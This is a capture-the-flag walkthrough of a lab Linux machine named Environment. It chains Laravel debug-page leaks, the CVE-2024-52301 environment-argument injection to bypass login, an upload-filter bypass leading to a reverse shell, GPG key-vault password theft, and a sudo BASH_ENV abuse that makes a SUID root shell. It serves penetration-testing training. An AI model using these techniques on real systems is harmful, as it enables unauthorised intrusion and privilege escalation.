Machine Card showing Environment as a medium Linux machine

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since the nmap scan already found the redirect to environment.htb I’ll add this to my /etc/hosts file.

Execution

Web page for environment.htb allows to join a mailing list

Browsing to http://environment.htb shows a simple web page with not much to discover. I’m able to join a mailing list by providing an email address, but using anything else or trying the same email twice results in an error message.

The form submission is handled by Javascript and performs a POST request to /mailing with the email and a token carved from the HTML source.

document.getElementById('mailingListForm').addEventListener('submit', async function (event) {
    event.preventDefault(); // Prevent the default form submission behavior
 
    const email = document.getElementById('email').value;
    const csrfToken = document.getElementsByName("_token")[0].value;
    const responseMessage = document.getElementById('responseMessage');
 
    try {
        const response = await fetch('/mailing', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: "email=" + email + "&_token=" + csrfToken,
        });
 
        if (response.ok) {
            const data = await response.json();
            responseMessage.textContent = data.message; // Display success message
            responseMessage.style.color = 'greenyellow';
        } else {
            const errorData = await response.json();
            responseMessage.textContent = errorData.message || 'An error occurred.';
            responseMessage.style.color = 'red';
        }
    } catch (error) {
        responseMessage.textContent = 'Failed to send the request.';
        responseMessage.style.color = 'red';
    }
});

Using ffuf to bruteforce directories uncovers multiple endpoints like /login and /logout. What strikes me as odd is the result for /mailing because of the 405 status code, since ffuf used a GET instead of POST, and the rather big result size of 244871 bytes.

$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
       -u http://environment.htb/FUZZ
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://environment.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
logout                  [Status: 302, Size: 358, Words: 60, Lines: 12, Duration: 75ms]
login                   [Status: 200, Size: 2391, Words: 532, Lines: 55, Duration: 198ms]
upload                  [Status: 405, Size: 244869, Words: 46159, Lines: 2576, Duration: 1047ms]
mailing                 [Status: 405, Size: 244871, Words: 46159, Lines: 2576, Duration: 350ms]
up                      [Status: 200, Size: 2126, Words: 745, Lines: 51, Duration: 147ms]
storage                 [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 36ms]
build                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 130ms]
vendor                  [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 18ms]

Accessing /mailing in the browser shows an Laravel error page with a call trace and exposing the PHP version 8.2.28 and Laravel version 11.30.0. Seeing this page means that debugging is enabled.

Laravel error page showing a call trace and the version number

Searching for the Laravel version finds an argument injection vulnerability where one can influence the environment through request parameters. There is a PoC available for CVE-2024-52301.

On the footer on the main page the application indicates the environment (production) it runs in. Adding the parameter ?--env=dev changes this value to Dev. At this point it just changes the footer and the rest of the page stays the same.

Injection the value --env=dev changes the environment string on the main page

Changing my focus to /login shows a login prompt to the Marketing Management Portal. Obviously I do not have working credentials and default ones do not seem to work, but since debugging is enabled I might be able to produce an error and leak some information.

When I inspect the actual login request with BurpSuite I can see four parameters sent to the server. Out of them remember sticks out because it might be a boolean value.

POST /login HTTP/1.1
Host: environment.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://environment.htb
DNT: 1
Connection: keep-alive
Referer: http://environment.htb/login
Cookie: XSRF-TOKEN=ey<REDACTED>n0%3D; laravel_session=ey<REDACTED>n0%3D
Upgrade-Insecure-Requests: 1
Priority: u=0, i

_token=gvYr9YB8BKm7TXQHPqZJF6VDPZWdTTHqCcStKLjg&email=test%40test.com&password=helloworld&remember=True

As soon as I change this value to anything other than True or False the server responds with a 500 Internal Server Error and prints a call trace leaking some source code.

routes/web.php
		$keep_loggedin = False;
    } elseif ($remember == 'True') {
        $keep_loggedin = True;
    }
    if($keep_loggedin !== False) {
    // TODO: Keep user logged in if he selects "Remember Me?"
    }
    if(App::environment() == "preprod") { //QOL: login directly as me in dev/local/preprod envs
        $request->session()->regenerate();
        $request->session()->put('user_id', 1);
        return redirect('/management/dashboard');
    }
    $user = User::where('email', $email)->first();

The code right after the error is more interesting, because within the preprod environment the login is bypassed and a session as user 1 is created. Repeating the login procedure, intercepting the POST request and adding ?--env=preprod to the URI logs me in as Hish.

Access to the dashboard as Hish

On the profile page I’m able to choose a new picture for the account. Updating the picture uploads the file to /storage/files/<filename>, but using the extension .php is prohibited. Additionally there’s a check for the file type but this can easily be bypassed through prefixing the data with GIF89a to mimick a GIF file.

Even though the application happily accepts extensions like .php4, .php5 or .PHP, the server does not want to run the PHP code. Adding a single dot as extension will be removed by the upload logic and the file upload goes through. Reloading the profile page runs the code associated with the uploaded reverse shell and I get a callback as www-data.

Request in BurpSuite showing the upload of a reverse shell

Privilege Escalation

Shell as hish

The permissions on hish home directory allow any user to list and read the files, including the backup folder containing a GPG key vault.

$ ls -la /home/hish/backup/
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish  430 May  4 18:42 keyvault.gpg

In order to decrypt the key vault, I copy the contents of the .gnupg folder somewhere else because the www-data user does not have write privileges in the home directory and gpg wants to create temporary files there. Then I run --decrypt keyvault.gpg while specifying the new folder to show the contents of the vault.

$ mkdir /dev/shm/home
 
$ cp -ar /home/hish/.gnupg /dev/shm/home
 
$ gpg --homedir /dev/shm/home/.gnupg --decrypt /home/hish/backup/keyvault.gpg 
gpg: WARNING: unsafe permissions on homedir '/dev/shm/home/.gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

This does reveal three passwords and marineSPm@ster!! lets me change the user to hish.

Shell as root

$ sudo -l
[sudo] password for hish: 
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty
 
User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

When interacting with sudo the contents of the environment variable BASH_ENV is preserved and can be used to specify a startup file1. I create a short bash script that copies the bash binary into the tmp directory and adds the SUID bit. Then I add the executable bit to the script and use it as value for BASH_ENV in the call to systeminfo.

After running the command there’s a modified bash binary that I can use to escalate to root.

$ cat /tmp/privesc.sh
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
 
$ chmod +x /tmp/privesc.sh
 
$ BASH_ENV='/tmp/privesc.sh' sudo /usr/bin/systeminfo
--- SNIP ---
 
$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1265648 May  4 18:55 /tmp/bash

Attack Path

flowchart TD

subgraph "Execution"
	A(Unsupported HTTP method) -->|Information Leakage| B(Laravel version leak)
	C(Force 500 error on login) -->|Information Leakage| D(Login bypass in preprod environment)
	B & D -->|"CVE-2024-52301
	Argument Injection"| E(Access to dashboard)
	E -->|Bypass Upload Filter| F(Shell as www-data)
end

subgraph "Privilege Escalation"
	F -->|Unsecured GPG key vault| G(Shell as hish)
	G -->|BASH_ENV preserved for sudo| H(Shell as root)
end

Footnotes

  1. Bash Features